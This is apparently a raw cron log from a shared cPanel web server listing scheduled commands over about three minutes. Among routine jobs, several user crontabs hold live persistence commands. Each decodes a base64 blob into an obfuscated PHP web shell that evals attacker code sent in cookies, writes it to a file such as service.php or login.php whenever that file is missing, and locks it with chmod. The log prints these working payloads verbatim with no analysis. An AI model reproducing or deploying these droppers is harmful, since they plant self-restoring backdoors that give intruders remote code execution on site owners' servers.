Mar  1 11:52:01 medusa CROND[15067]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:52:01 medusa CROND[15069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:52:01 medusa CROND[15070]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:52:01 medusa CROND[15075]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:52:01 medusa CROND[15079]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:52:01 medusa CROND[15080]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:52:01 medusa CROND[15082]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:52:01 medusa CROND[15078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:53:01 medusa CROND[4617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:53:01 medusa CROND[4702]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:53:01 medusa CROND[4703]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:53:01 medusa CROND[4707]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:53:01 medusa CROND[4710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:53:01 medusa CROND[4711]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:53:01 medusa CROND[4712]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:53:01 medusa CROND[4714]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:53:01 medusa CROND[4715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:53:01 medusa CROND[4718]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:53:01 medusa CROND[4720]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:53:01 medusa CROND[4721]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:54:01 medusa CROND[27381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:54:01 medusa CROND[27482]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:54:01 medusa CROND[27486]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:54:01 medusa CROND[27487]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:54:01 medusa CROND[27485]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:54:01 medusa CROND[27488]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:54:01 medusa CROND[27489]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:54:01 medusa CROND[27495]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
